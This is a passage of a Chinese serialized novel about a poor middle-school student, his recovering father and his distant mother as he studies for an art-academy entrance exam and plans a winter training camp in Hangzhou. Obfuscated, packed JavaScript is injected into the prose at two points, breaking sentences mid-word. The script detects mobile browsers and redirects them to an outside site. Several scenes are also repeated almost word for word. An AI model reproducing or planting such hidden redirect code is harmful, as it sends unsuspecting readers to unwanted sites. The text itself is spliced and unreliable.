周扬没有说话。他知道张小五说的是真的。别人考不上好高中,家里还能想办法,交钱、找关系、上民办,总有一条路。张小五没有。他只有一条路——考上去。考上了,就有奖学金,有助学金,有免费的画室和不花钱的颜料。考不上,他就只能回到那个四十平米的老房子里,回到那些掉了墙皮的墙和有裂纹的茶几面前,回到那个父亲再也扛不起水泥的未来里。 “行,”周扬拍了拍他的肩膀,“你加油,我给你当后勤。饿了我给你买吃的,渴了我给你买水,困了我给你买咖啡。” 张小五笑了。“你哪来那么多钱?” 周扬咧嘴一笑,露出一口白牙:“我爸说了,支持张小五同学考美院附中,专项资金,随要随取。” 张小五没有说谢谢。他把这个情记在了心里,和之前那些情放在一起,像存钱一样,一笔一笔地存着。等以后他有钱了,连本带利一起还。 初三的日子像一台被调到最高档的跑步机,快得让人喘不过气。 每天早上六点,张小五准时起床。不是被闹钟叫醒的,是被自己心里的那个声音叫醒的——那个声音说“起来,你今天还有一百道数学题要做,还有两百个英语单词要背,还有三篇文言文要默写”。那个声音比他爸的咳嗽声还管用,比公鸡打鸣还准时。 他起床后第一件事不是洗漱,而是坐在书桌前,把昨天背过的英语单词再过一遍。一边背一边用笔在草稿纸上写,写完了撕下来扔进垃圾桶,垃圾桶里堆满了纸团,像一座白色的山丘。 六点半,他去厨房煮粥。粥在灶上咕嘟咕嘟地冒着泡,他站在灶台前,手里拿着英语课本,嘴里念念有词。有时候念得太投入了,粥溢出来浇灭了火,他手忙脚乱地关煤气,擦灶台,重新点火,嘴里还在背着“abandon, abandon, 放弃,放弃”。 张建国有时候会起得更早,坐在客厅里看着他。他不出声,就那么看着,看着儿子瘦削的背影在厨房和书房间来回穿梭,像一只不知疲倦的陀螺。他心里疼,但他不拦着。因为他知道,儿子不是在瞎忙,他是在为自己挣一个未来。那个未来他给不了,只能靠儿子自己去挣。 七点十分,张小五背着书包出门。书包比以前重了很多,里面装的不再是画本和铅笔,而是课本、练习册、试卷和好几本教辅书。他走到巷口的公交站,等车的时候也不闲着,从口袋里掏出一本巴掌大的单词本,一页一页地翻,把那些记不住的单词反复默念。 公交车上人多的时候,他站不稳,就靠在车门边,把单词本举到眼前,用身体挡住别人的视线,不让别人看见他在背书。他不想让人觉得他装,也不想让人觉得他可怜。他只是想多背几个单词,多做几道题,多拿几分。每一分都很贵,贵到可能决定他能不能考上那个梦寐以求的地方。 到了学校,他放下书包就开始学习。早读课背语文,第一节课听数学,第二节课写英语,课间十分钟也不浪费,不是在问老师题就是在做题。方老师被他问怕了,有时候看到他在办公室门口探头,就想假装没看见,但每次都心软,放下手里的红笔,推推眼镜说:“进来吧,哪道题不会?” 张小五把试卷递过去,指着最后一道大题。“方老师,这个辅助线我画了三条都不对,您帮我看看。” 方老师看了一眼,拿起铅笔,在图上画了一条线。“这里,连接BD,你看三角形ABD和三角形CBD,有什么关系?” 张小五盯着那条线看了几秒钟,眼睛忽然亮了一下。“全等!” “对,全等。然后呢?” “然后……然后就能求出BD的长度,再用勾股定理……” 方老师点了点头,把铅笔放下。“你其实会做,就是太急了,没看清条件。考试的时候慢一点,把题目读两遍再下笔。” 张小五把试卷收好,道了谢,转身跑出办公室。方老师看着他的背影,摇了摇头,嘴角带着一丝笑意。这个孩子太拼命了,拼命到让他想起三十年前的自己。那时候他也是这样,早上五点起床,晚上十一点睡觉,把所有的时间都用来学习,因为知道除了学习,没有任何东西能改变他的命运。 中午吃饭的时候,张小五从不排队去食堂。他让周扬帮他带饭,自己坐在教室里,一边吃一边做题。有时候是数学,有时候是英语,有时候是物理。他把每一分钟都掰成两半用,恨不得一天有四十八个小时。 周扬把饭盒放在他桌上,打开盖子,里面是红烧鸡块、炒青菜和一大盒米饭。张小五看了一眼,说了声谢谢,低下头继续做题,做了两道才拿起筷子,狼吞虎咽地吃了几口,又放下筷子继续做题。 “你能不能好好吃饭?”周扬看不下去了,“你这样子胃会坏的。” “不会,”张小五嘴里含着饭,含混不清地说,“我胃好着呢。” 周扬叹了口气,不再劝了。他把自己的椅子拉过来,坐在张小五对面,打开自己的饭盒,慢慢地吃着。他不说话,就那么陪着张小五,像是怕他一个人待在空荡荡的教室里会觉得孤单。 陈雨桐有时候也会过来。她带的饭盒里总是有很多菜,她会把一半拨到张小五的饭盒里,说“我吃不了那么多,你帮我吃点”。张小五知道她是故意的,但他没有拒绝,因为他确实需要营养。他太瘦了,瘦到校服穿在身上像一面旗帜,风一吹就飘。 日子就这样一天一天地过,快得像翻书,一页一页地翻过去,不知不觉就到了十一月。 期中考试的成绩出来了。 张小五在全年级排名从一百三十名前进到了八十九名。语文八十一,数学七十八,英语六十九,物理八十五,化学八十一。虽然不是名列前茅,但这是他上初中以来考得最好的一次。 班主任刘老师在班上念了成绩,念到张小五的时候,特意停了一下,看了他一眼。“张小五,进步很大,继续努力。” 全班同学都看向他,有的眼神里是惊讶,有的是佩服,有的是嫉妒。张小五低着头,脸有点红,耳朵也红了,但他嘴角忍不住往上弯了一下。他把成绩单折好,放进口袋里,心里默默地算了一笔账——离美院附中的文化课分数线还差多少。语文够了,数学还差几分,英语差得最多,物理和化学都超了。他还要再努力,特别是英语,他的短板太短了,像一块拼图缺了一大块。 放学后,他去了李老师的办公室。 李老师正在整理画具,把颜料一支一支地摆进盒子里。看到张小五进来,她放下手里的东西,拉了一把椅子让他坐下。 “期中成绩出来了?”她问。 张小五点了点头,把成绩单递过去。李老师接过去看了看,眉头微微皱了一下。 “英语还是不行。”她说。 “我知道。”张小五说,“李老师,我想问您一个事。” “你说。” “美院附中的英语分数线,大概是多少?” 李老师想了想,从抽屉里翻出一份去年的招生简章,指了指上面的一行字。“去年央美附中的英语单科线是七十分,国美附中是六十五分。你六十九,刚刚过线,但考试有起伏,万一发挥不好就很危险。” 张小五看着那行字,心里沉了一下。六十九,刚刚过线,但他这次是超常发挥,平时他英语只能考六十出头。如果考试那天紧张了,或者题目难了,他很可能就掉到六十分以下,到时候就算专业课考得再好,也上不了。 “李老师,我想报个英语补习班。”他说。 李老师看着他,沉默了一会儿。“补习班要钱,你家里……” “我知道。”张小五打断了她,“我在想办法。” 李老师没有再说什么。她从抽屉里拿出一张名片,递给他。“这是我一个朋友开的补习机构,专做中考英语冲刺,效果还不错。你拿着,报我的名字,能打八折。” 张小五接过名片,看了一眼,上面写着“新起点教育”四个字,下面是一个地址和电话号码。他把名片放进口袋里,和那些越来越多的纸条放在一起。 “谢谢李老师。” “别谢了。”李老师拍了拍他的肩膀,“你好好考,就是对我最大的感谢。” 张小五走出办公室,站在走廊里,看着窗外的天空。天已经快黑了,西边的天空还剩最后一抹暗红色,像一块快要燃尽的炭。他深吸一口气,把那张名片从口袋里拿出来,看了又看,然后放回去。 八折。就算打了八折,一节课也要六十块。一个星期上两节,一个月就是四百八。他手里还有比赛剩下的奖金,五千块,交了住院费之后还剩两千多,够撑几个月。但这笔钱他本来是留给父亲买营养品的,如果拿去交了补习费,父亲吃什么? 他站在走廊里,想了很久。 然后他拿出手机,拨了一个号码。 “妈,是我。” “小五?怎么了?”王秀兰的声音有点紧张。 “妈,我想报个英语补习班,一个月四百八。”张小五的声音很平,平得像在说一件很普通的事情,“我手里还有点钱,但我想留给我爸买营养品。你能不能……” “能。”王秀兰打断了他,语气斩钉截铁,“妈明天就去给你汇钱。四百八是吧?妈给你汇六百,剩下的你买点好吃的,你看看你瘦成什么样了。” 张小五的鼻子一酸,但他忍住了。“妈,你那边也不宽裕……” “宽裕不宽裕是妈的事,你只管好好学。”王秀兰的声音忽然变得很轻,轻得像一阵风,“小五,妈这辈子没念过什么书,在厂里踩缝纫机,一个月挣不了几个钱。但你不一样,你有本事,你能考上好学校,你不能被妈耽误了。” 张小五握着手机,指节发白。他想说“妈你从来没耽误过我”,但这句话卡在喉咙里,怎么都说不出来。因为他知道,这不是真话。母亲走了八年,这八年里他缺失了太多——不是钱,不是物质,是那种只有母亲才能给的、柔软的、无条件的爱。但此刻,站在初三的走廊上,听着电话那头母亲的声音,他忽然觉得那些缺失的东西正在一点一点地被补回来。虽然补得很慢,虽然补得不够,但至少在补。 “妈,谢谢你。”他说。 “别谢妈。”王秀兰的声音有点哑,“你好好考,考上了,妈去看你。” “好。” 电话挂断了。张小五把手机放进口袋里,靠着走廊的墙壁,仰起头看着天花板。天花板上有一盏日光灯,亮得刺眼,他看着那团白光,眼泪无声地滑了下来。他没有擦,就那么让眼泪流着,流到下巴,滴在校服的领口上。 他不是难过,他是感动。感动于母亲那六百块钱,感动于父亲每天早上比他起得更早只为了给他煮一碗稀饭,感动于周扬每天中午帮他带饭,感动于陈雨桐把自己饭盒里的菜分给他一半,感动于方老师不厌其烦地给他讲题,感动于李老师借他颜料和画布还帮他找补习班。 这些人,这些善意,像一盏一盏的灯,在他灰蒙蒙的生活里亮着。他不知道自己能不能考上美院附中,不知道未来会怎样,但他知道,有这些灯在,他就不会迷路。 从那天起,张小五的生活变得更忙了。 周一到周五,正常上课,课间做题,中午边吃饭边做题,放学后去方老师办公室补半小时数学,然后坐公交车去补习机构上英语课。英语课一个半小时,上完回到家已经快八点了。他吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张小五看着自己的画,是一幅静物——桌上的一个苹果、一个玻璃杯和一本书。苹果是红的,但用了黄的调子,看起来暖暖的;玻璃杯是透明的,他用很淡很淡的蓝色去表现,看起来晶莹剔透;书是蓝色的,但用了紫色和白色的调子,看起来有一种旧旧的感觉。 “我觉得颜色够用就行,”张小五说,“关键是画出那个东西的感觉。” 李老师笑了。她笑得眼睛弯弯的,像两道彩虹。“你说对了。关键不是用什么颜色,是用颜色表达什么。你已经懂了。” 张小五也笑了。他笑得很轻,但那一刻,他觉得自己离梦想又近了一步。 十二月的第一个周末,下了一场大雪。 张小五从补习班出来的时候,外面的世界已经变成了白色。雪很大,纷纷扬扬的,像有人在天上撕棉花,一片一片地往下扔。他站在补习班门口的台阶上,仰起头,看着雪花从灰蒙蒙的天空飘下来,落在他的脸上、头发上、肩膀上。 他伸出手,接住一片雪花。雪花在他温热的掌心里迅速融化,变成一滴透明的水珠,像一颗小小的眼泪。 他忽然很想画画。 不是那种为了考试、为了比赛、为了任何目的的画画,而是那种纯粹的、发自内心的、不画就难受的画画。他已经很久没有这样了。自从父亲生病以来,他的每一幅画都有目的——为了比赛,为了筹钱,为了证明自己,为了考上好学校。画画变成了工具,变成了武器,变成了他攀登的绳索和攀爬的梯子。但此刻,站在雪地里,他忽然想画画,不为别的,只为把这一刻留下来。 他从书包里拿出画本和铅笔——他一直随身带着,虽然平时很少拿出来——翻到新的一页,开始画。 他画的是雪。不是那种写实的、逼真的、每一片雪花都画得清清楚楚的雪,而是那种印象的、感觉的、像一场梦一样的雪。他用很轻很轻的线条,一层一层地叠加,让纸面上的灰色越来越深,然后在深灰色的背景上留出大大小小的白色斑点,那些斑点就是雪花,在黑暗的夜空中飘舞。 画完之后,他看了看,觉得不够。他想了想,在画面的下方画了一个小小的身影。那个身影背着一个很大的书包,仰着头看着天空,一只手伸出来,像是在接雪花。 那个身影是他自己。 他在画的下方写了一行字。 “十二月,第一场雪。我从补习班出来,天已经黑了。雪很大,落在我身上,化成了水。我没有觉得冷。因为我知道,有人在等我回家。” 他合上画本,把它抱在怀里,走进了雪里。 公交车很挤,到处都是湿漉漉的雨伞和滴着水的衣服。张小五站在车厢中间,被人群挤来挤去,像一片随波逐流的叶子。他没有去抓扶手,因为他要护着怀里的画本,不能让雪水把它弄湿。他就那样站着,随着车子的摇晃东倒西歪,但怀里的画本一直稳稳地贴着胸口,温热的,像一颗跳动的心脏。 到站了。他下了车,走在雪地里,脚下发出咯吱咯吱的声音。巷子里的路灯昏黄,把雪花照得像一群金色的飞蛾。他走到楼下,看见六楼的窗户亮着灯,橘黄色的,暖洋洋的。 他上了楼,推开门。 张建国坐在沙发上,面前摆着一碗热气腾腾的姜汤。他看见张小五浑身是雪地走进来,赶紧站起来,把姜汤端过去。 “快喝,驱寒的。”他说,声音里有一种笨拙的心疼。 张小五接过碗,捧在手里。姜汤很烫,烫得他手心发红,但他没有松手。他低头喝了一口,辣辣的,甜丝丝的,从喉咙一路烫到胃里,像一团火在体内燃烧。 “爸,你怎么还没睡?”他问。 “等你。”张建国说,语气很平,像是在说一件理所当然的事情,“你不回来,爸睡不着。” 张小五捧着那碗姜汤,看着父亲的脸。灯光下,父亲的脸还是很瘦,颧骨高耸,眼窝深陷,但气色比刚出院的时候好多了。嘴唇不再干裂了,脸色也不再灰白了,眼睛里有了一种很久不见的光——那是一种安心的、踏实的、有盼头的光。 张小五把姜汤喝完,把碗放在茶几上,然后从书包里拿出画本,翻到刚才画的那幅雪景,递给父亲。 “爸,你看,我今天画的。” 张建国接过画本,看了很久。他看着那幅画上飘舞的雪花,看着那个背着书包的瘦小身影,看着那个伸出去接雪的手掌。他的嘴唇哆嗦了一下,眼眶红了,但没有流泪。 “画得好。”他说,声音有点哑,“小五,你画得真好。” 张小五笑了。他笑得眼睛弯弯的,像两个小月牙,露出一排不太整齐的牙齿。那一刻,他觉得自己是世界上最幸福的人——不是因为他有才华,不是因为他拿了奖,不是因为他的画被老师夸了,而是因为他的父亲坐在他面前,看着他的画,说“画得好”。 19. 寒冬 那年冬天特别冷。 冷到什么程度呢?冷到巷子里的老槐树冻裂了树皮,冷到阳台上的水管冻成了冰棍,冷到张小五每天早晨醒来,第一件事不是睁眼,而是把被子裹得更紧,在被窝里缩成一团,像一只冬眠的刺猬。 但他不能冬眠。他有太多的事情要做。 闹钟每天五点四十准时响,铃声是他从网上下载的一段钢琴曲,叫什么《月光》,据说是贝多芬写的。张小五不懂音乐,但他觉得这首曲子好听,好听到能把他从最深的梦境里拉出来,像一只手把他从水里捞起来。闹钟响的时候,窗外还是黑的,黑得像倒扣的锅底。他伸出手,在黑暗中摸索到手机,关掉闹钟,然后深吸一口气,掀开被子。 冷空气像刀子一样割在皮肤上,他打了一个哆嗦,牙齿咯咯地响了几声,然后飞快地穿上毛衣和棉裤。毛衣是王秀兰织的,深蓝色,高领,穿上去暖洋洋的,像被母亲抱在怀里。棉裤是姑姑买的,厚实得能自己站在地上,裤腰大了好几圈,他用一根布绳子系着,绳头垂在腰侧,走起路来一甩一甩的。 穿好衣服,他去卫生间洗漱。水龙头里的水冰得刺骨,他刷牙的时候满嘴都是铁锈味,不是水的味道,是牙龈被冻出了血。他吐出一口带血丝的泡沫,用冷水拍了拍脸,拍得脸颊发红,像两颗熟透的苹果。 然后他坐到书桌前,开始学习。 五点四十到六点二十,背英语单词。他把单词写在卡片上,一张卡片十个单词,正面英文,背面中文。他一遍一遍地翻,翻到眼睛发花,翻到那些字母像蚂蚁一样在纸面上爬,翻到闭上眼都能在脑海里看见那些单词的拼写和释义。 六点二十到六点四十,做数学题。他专门挑那种最难的压轴题做,一道题有时候要做半个小时,草稿纸用了一张又一张,写满了密密麻麻的算式和辅助线。做不出来的时候他急得抓头发,头发被他抓得像鸡窝,一根一根地竖起来;做出来的时候他高兴得想喊,但怕吵醒父亲,只能握着拳头无声地挥一下,脸上露出一个傻乎乎的笑容。 六点四十,他去厨房煮粥。粥在灶上咕嘟咕嘟地冒着泡,他站在灶台前,手里拿着英语单词卡,嘴里念念有词。有时候念得太投入了,粥溢出来浇灭了火,他手忙脚乱地关煤气,擦灶台,重新点火,嘴里还在背着“persevere, persevere, 坚持,坚持”。 张建国这时候也醒了。他不再像以前那样睡到很晚,而是早早地起来,帮张小五热馒头、煮鸡蛋、切咸菜。他的身体恢复得越来越好,虽然还不能干重活,但做些简单的家务已经没问题了。他有时候会站在厨房门口,看着张小五的背影,看着儿子瘦削的肩膀和因为低头背书而微微前倾的脖子,心里酸酸的,像吃了一颗还没熟透的青杏。 “小五,”他说,“别太拼了,身体要紧。” 张小五头也不抬,眼睛还盯着单词卡:“没事,爸,我不累。” 张建国知道他在说谎,但他没有拆穿。他只是把热好的馒头和煮好的鸡蛋放在桌上,然后默默地走开,不去打扰儿子。他知道自己能做的只有这些了——给儿子做一顿热乎乎的早饭,把屋子收拾干净,让儿子回到家的时候有一个舒适的环境。这些事很小,小到不值一提,但这是他仅有的、能给儿子的全部。 七点十分,张小五背着书包出门。书包比以前更重了,里面装的不只是课本和练习册,还有李老师给他开的小灶——一沓素描纸、几支铅笔、一小盒颜料。这些东西不重,但张小五觉得它们比课本还重,因为它们是梦想的重量。 他走到巷口的公交站,等车的时候不闲着,从口袋里掏出单词卡,一张一张地翻。有时候风太大了,吹得卡片哗哗作响,他就用两只手捧着,像捧着一把随时会被吹走的钞票。 公交车来了,他挤上去,站在车厢中间,一只手抓着吊环,另一只手举着单词卡。车子晃晃悠悠地开着,他的身体随着车子左右摇摆,但眼睛一直盯着卡片上的单词,嘴里无声地念着。 旁边一个老大妈看了他半天,忍不住说:“这孩子,真用功。” 张小五没听见,或者说听见了但没有反应。他的全部注意力都在那些单词上,像一台被设定好程序的机器,只知道输入、存储、输出,其他的都不重要。 到了学校,他放下书包就开始学习。早读课背语文古诗词,第一节课听数学,第二节课写英语,课间十分钟也不浪费,不是在问老师题就是在做题。方老师已经被他问习惯了,每天都会在办公室多留十分钟,专门等他来问问题。 “方老师,这道题我不会。”张小五把试卷递过去,指着最后一道大题。 方老师看了看,拿起铅笔在图上画了一条辅助线。“这里,连接AC,你看三角形ABC和三角形ADC有什么关系?” 张小五盯着那条线看了几秒钟,眼睛忽然亮了一下。“全等!” “对,全等。然后呢?” “然后……然后就能求出AC的长度,再用余弦定理……” 方老师点了点头,把铅笔放下。“你其实会做,就是太急了,没看清条件。考试的时候慢一点,把题目读两遍再下笔。” 张小五把试卷收好,道了谢,转身跑出办公室。方老师看着他的背影,摇了摇头,嘴角带着一丝笑意。这个孩子太拼命了,拼命到让他想起三十年前的自己。那时候他也是这样,早上五点起床,晚上十一点睡觉,把所有的时间都用来学习,因为知道除了学习,没有任何东西能改变他的命运。 中午吃饭的时候,张小五从不排队去食堂。他让周扬帮他带饭,自己坐在教室里,一边吃一边做题。有时候是数学,有时候是英语,有时候是物理。他把每一分钟都掰成两半用,恨不得一天有四十八个小时。 周扬把饭盒放在他桌上,打开盖子,里面是红烧肉、炒青菜和一大盒米饭。张小五看了一眼,说了声谢谢,低下头继续做题,做了两道才拿起筷子,狼吞虎咽地吃了几口,又放下筷子继续做题。 “你能不能好好吃饭?”周扬看不下去了,“你这样子胃会坏的。” “不会,”张小五嘴里含着饭,含混不清地说,“我胃好着呢。” 周扬叹了口气,不再劝了。他把自己的椅子拉过来,坐在张小五对面,打开自己的饭盒,慢慢地吃着。他不说话,就那么陪着张小五,像是怕他一个人待在空荡荡的教室里会觉得孤单。 陈雨桐有时候也会过来。她带的饭盒里总是有很多菜,她会把一半拨到张小五的饭盒里,说“我吃不了那么多,你帮我吃点”。张小五知道她是故意的,但他没有拒绝,因为他确实需要营养。他太瘦了,瘦到校服穿在身上像一面旗帜,风一吹就飘。 日子就这样一天一天地过,快得像翻书,一页一页地翻过去,不知不觉就到了十二月。 十二月的一个晚上,张小五正在房间里做英语阅读理解,手机忽然震动了。 他拿起来一看,是母亲发来的短信:“小五,妈这个月的工资发了,给你汇了一千块。你去买件厚外套,别冻着。剩下的钱交补习费。妈很好,别担心。” 张小五看着那条短信,眼眶红了。他给母亲回了一条:“妈,我收到钱了。你也要照顾好自己,别太累了。” 发完之后,他把手机放在桌上,继续做题。但做了两道,心静不下来,脑子里全是母亲在服装厂里踩缝纫机的样子——背弯着,肩膀一高一低,手在布料上来回移动,机器嗡嗡嗡地响,灯光昏暗,空气闷热,布料的绒毛在光线里飞舞。 他放下笔,拿出画本,翻到新的一页,开始画。 他画的是母亲踩缝纫机的样子。不是正面,是侧面。她坐在缝纫机前,背微微弯着,一只手按着布料,另一只手转动着缝纫机的手轮。她的头发用黑色的夹子夹在脑后,露出纤细的脖颈和微微凸起的脊椎骨。灯光从头顶照下来,在她脸上投下一片阴影,让她的表情看起来模糊不清,但张小五知道,那张脸上一定写满了专注和疲惫。 画完之后,他在纸的右下角写了一行字。 “我妈又汇钱了。她说让我买件厚外套。她自己穿的是厂里发的工作服,已经洗得发白了。” 他把画本合上,抱在怀里,闭上眼睛。 脑海里浮现出母亲的身影,那个在缝纫机前坐了无数个日夜的身影。她用那台缝纫机踩出了他每个月的生活费,踩出了父亲的医药费,踩出了他上补习班的学费。那台缝纫机是她的武器,也是她的牢笼。她用它在生活的战场上冲锋陷阵,用它在命运的牢笼里挣扎求生。 张小五睁开眼,深吸一口气,继续做题。 他不能辜负那台缝纫机。 期末考试前一周,张小五病倒了。 不是大病,就是普通的感冒,但来势汹汹。早上起来的时候他觉得嗓子像吞了刀片,一咽口水就疼得龇牙。鼻子堵了,只能张着嘴呼吸,嘴唇干裂起皮,一碰就出血。额头有点烫,用体温计量了一下,三十七度八,低烧。 “今天别去上学了。”张建国看着体温计,眉头皱得能夹死一只苍蝇,“在家休息一天。” “不行,”张小五从床上爬起来,摇摇晃晃地走到卫生间,“今天数学期末考试模拟,方老师说很重要,不能缺。” “命重要还是考试重要?”张建国的声音大了起来,大到把自己都吓了一跳。他已经很久没有大声说过话了,手术后他的声音一直很虚,像一台老旧的收音机,声音拧到最大也传不远。但此刻,他的声音大得整栋楼都能听见。 张小五没有回答。他刷了牙,洗了脸,穿好衣服,背上书包,走到门口。 “爸,我走了。”他说,声音沙哑得像砂纸。 张建国站在客厅里,看着儿子的背影,嘴唇哆嗦了好几下,最后只说了一句:“把围巾戴上。” 张小五把围巾从衣架上取下来,是王秀兰买的那条灰色的,绕在脖子上,围了好几圈,把半张脸都遮住了。他推开门,走了出去。 楼道里很冷,风从窗户的缝隙里灌进来,吹得他打了个寒颤。他把围巾往上拉了拉,遮住鼻子和嘴,呼出的热气在围巾上凝结成细密的水珠,凉丝丝的。 他走到巷口的公交站,等车的时候没有像往常那样背单词,而是靠在站牌上,闭着眼睛。他的头很重,像被人灌了铅,每晃动一下就疼得厉害。他的身体在发烫,但手是凉的,凉得像冰块。 公交车来了,他上车,投币,走到最后一排坐下。他把书包抱在怀里,把头靠在车窗上,玻璃冰凉,贴在额头上很舒服,像敷了一块冰。 车子晃晃悠悠地开着,他迷迷糊糊地睡着了。 “终点站到了,下车了。” 售票员的声音把他从梦中叫醒。他睁开眼,发现车已经到站了,车厢里空荡荡的,只剩下他一个人。他赶紧站起来,背好书包,下了车。 站在学校门口,他深吸一口气,走进了校门。 考试的时候,他的脑子像一团浆糊。那些平时做得滚瓜烂熟的题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444015|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目,此刻看起来像天书一样陌生。他盯着试卷上的数字和符号,它们像一群受了惊的蚂蚁,在纸面上乱爬,怎么也抓不住。 他使劲摇了摇头,用指甲掐了一下自己的手心,强迫自己集中注意力。第一道题,做了,对了。第二道题,做了,好像对了。第三道题,做到一半,脑子忽然一片空白,什么都想不起来了。 他趴在桌上,闭了一会儿眼睛,然后睁开,重新看那道题。这次看懂了,他飞快地写下了答案。 考试结束的铃声响了,他交了卷,走出考场。周扬在门口等他,看到他脸色苍白得像纸,吓了一跳。 “张小五,你没事吧?你的脸白得跟鬼一样。” “没事,”张小五说,声音虚得像一缕烟,“就是有点感冒。” “这叫有点感冒?”周扬伸手摸了摸他的额头,烫得他猛地缩回了手,“我靠,你在发高烧!走,去医务室!” 张小五想说不去,但周扬已经拉着他往医务室走了。他浑身发软,没有力气反抗,只能被周扬拖着往前走,像一个被牵着线的木偶。 医务室的老师给他量了体温,三十八度五。比早上高了。 “你这孩子,烧成这样还来上学?”医务室老师皱着眉头,给他倒了一杯温水,拿了两片退烧药,“把药吃了,在这躺一会儿。我给你们班主任打电话。” 张小五吃了药,躺在医务室的床上,盖着一条薄毯子。天花板上的日光灯亮得刺眼,他闭上眼睛,眼前还是一片白茫茫的光。 他忽然想起了父亲。想起父亲做完手术那天,躺在病床上,身上插满了管子,脸色苍白得像纸。那时候他坐在床边,握着父亲的手,心里想的是:我一定要救活他。 现在,父亲活过来了。他自己却倒下了。 他苦笑了一下,翻了个身,把脸埋进枕头里。 枕头上有消毒水的味道,和医院里的味道一模一样。他忽然觉得很安心,因为他知道,这个味道不是死亡的预兆,而是重生的印记。父亲从那座白色的牢笼里走了出来,他也一定能从这张窄小的病床上站起来。 他闭上眼睛,很快就睡着了。 下午三点多,张小五醒了。烧退了一些,头不那么疼了,但浑身还是酸软无力,像被人打了一顿。他从床上坐起来,穿上鞋,走出医务室。 走廊里很安静,大部分班级都在上课。他走到教室门口,透过窗户看了一眼,数学老师正在讲台上讲试卷,同学们都在低头改错。他没有进去,转身走向美术教室。 美术教室的门半开着,李老师正在里面画画。她站在画架前,手里拿着画笔,正在画一幅油画。画面上是一片秋天的树林,红的、黄的、橙的,像一团燃烧的火。 张小五推开门,走进去。 李老师回过头,看到他苍白的脸色,皱了一下眉。“张小五,你怎么来了?你不是生病了吗?” “好多了。”张小五在椅子上坐下来,把书包放在脚边,“李老师,我想跟您说个事。” “你说。” “期末考试之后,我想请一个星期的假,去杭州。” 李老师放下画笔,转过身看着他。“杭州?去干什么?” “中国美院附中有一个寒假集训营,专门针对初三考生的,一个星期,专业课集训。”张小五从书包里掏出一张皱巴巴的宣传单,递给李老师,“我想去。李老师,您觉得怎么样?” 李老师接过宣传单,看了看,眉头皱得更紧了。“这个集训营我知道,水平很高,请的都是附中的老师来讲课。但是学费不便宜,一个星期要三千多,加上食宿和路费,起码五千。” 五千。张小五在心里默念这个数字,手心冒汗。他知道五千块意味着什么,意味着母亲要在缝纫机前踩上整整两个月,意味着父亲要省吃俭用好几个月,意味着他要把手里仅有的那点积蓄全部掏空。 “我想去。”他说,声音很轻,但很坚定。 李老师看着他,看了很久。她看到的是一个瘦小的、苍白的、眼眶下面有浓重黑眼圈的男孩,但那个男孩的眼睛里有一种光,不是病态的、虚弱的、快要熄灭的光,而是一种燃烧的、炽烈的、无论如何都不会熄灭的光。 “我帮你想办法。”李老师说,“学校这边,我去跟校长申请,看看能不能给你一些补助。剩下的,你自己再想想办法。” 张小五站起来,朝李老师深深地鞠了一躬。 “李老师,谢谢你。” 李老师摆了摆手,没有说话。她转过身,继续画她的油画。那片秋天的树林在她笔下燃烧着,红的、黄的、橙的,像一团不会熄灭的火。 张小五看着那团火,心里忽然涌起一股热流。 他也要画,画出一团不会熄灭的火。 不是为了证明什么,不是为了得到什么,而是因为他的心里就有一团火。那团火从他还是一个小孩子的时候就开始燃烧了,烧了这么多年,从来没有熄灭过。不管风吹雨打,不管霜冻雪压,它一直在烧,烧得他浑身发烫,烧得他不得不拿起画笔,在纸上留下那些滚烫的线条。 他走出美术教室,走在走廊里。阳光从窗户照进来,照在他身上,暖洋洋的。他伸出双手,看着自己的手掌。手掌上有很多茧,不是干重活磨出来的,是握笔握出来的。那些茧长在食指和中指的第一关节处,硬硬的,黄黄的,像一小块一小块的琥珀。 那是画家的茧。 他握紧拳头,又松开,握紧,又松开。 20. 出发 张小五把去杭州的想法告诉父亲时,张建国正在阳台上晾衣服。他一件一件地把洗好的T恤撑开,挂在晾衣架上,动作很慢,像是在做一件需要仔细斟酌的事情。 “爸,我想跟你商量个事。”张小五站在阳台门口,手里攥着那张皱巴巴的宣传单。 “说。”张建国头也没抬,把一件深蓝色的毛衣挂上去。那件毛衣是王秀兰织的,洗过几次之后变得又软又蓬松,像一团棉花。 “中国美院附中有一个寒假集训营,专门针对初三考生的,一个星期。我想去。” 张建国的手停了一下。他转过身,接过那张宣传单,眯着眼睛看了起来。他的视力这两年下降得厉害,看小字需要把纸拿得很远,胳膊伸得直直的,像在举一面旗子。 “五千?”他的眉头拧成了一个疙瘩。 “李老师说学校可以补助一部分,剩下的我想办法。”张小五的声音很平,像是在说一件他已经考虑过很多遍的事情,“妈那边我也问问,看看能不能借一点。” 张建国没有立刻回答。他把宣传单折好,还给了张小五,然后转过身,继续晾衣服。他晾完最后一件,把洗衣盆放回卫生间,洗了手,走到客厅坐下。 “小五,你来。”他说。 张小五走过去,在父亲对面坐下。茶几上摊着几张报纸和一本翻了一半的《故事会》,烟灰缸干干净净的——张建国已经戒烟很久了,那个烟灰缸现在的作用是放瓜子壳和果皮。 “你妈上个月汇了一千块,这个月又汇了八百。”张建国说,语气很平,像在算一笔普通的账,“加上你比赛剩下的钱,再加上学校补助的,凑一凑,五千块应该是够的。” 张小五愣了一下。他以为父亲会反对,会说不去,会说太贵了,会说在家画也一样。他没想到父亲已经在帮他算账了。 “爸,你不反对?” 张建国看着他,眼神里有一种说不清的东西——不是心疼,不是不舍,是一种更深的、更重的东西,像是把什么很珍贵的东西从自己身上割下来,递到儿子手里。 “爸反对啥?”他说,声音有点哑,“你考美院附中是正事,爸支持。钱的事你别操心,爸想办法。” 张小五的鼻子一酸,但他忍住了。他知道父亲说的“想办法”是什么意思——不是去偷去抢,而是从自己的嘴里省。省下买肉的钱,省下买药的钱,省下每一分每一毛,把它们攒起来,变成儿子的路费。 “爸,你别省。”张小五说,“我去了杭州,你一个人在家,该吃吃,该喝喝,别舍不得。” 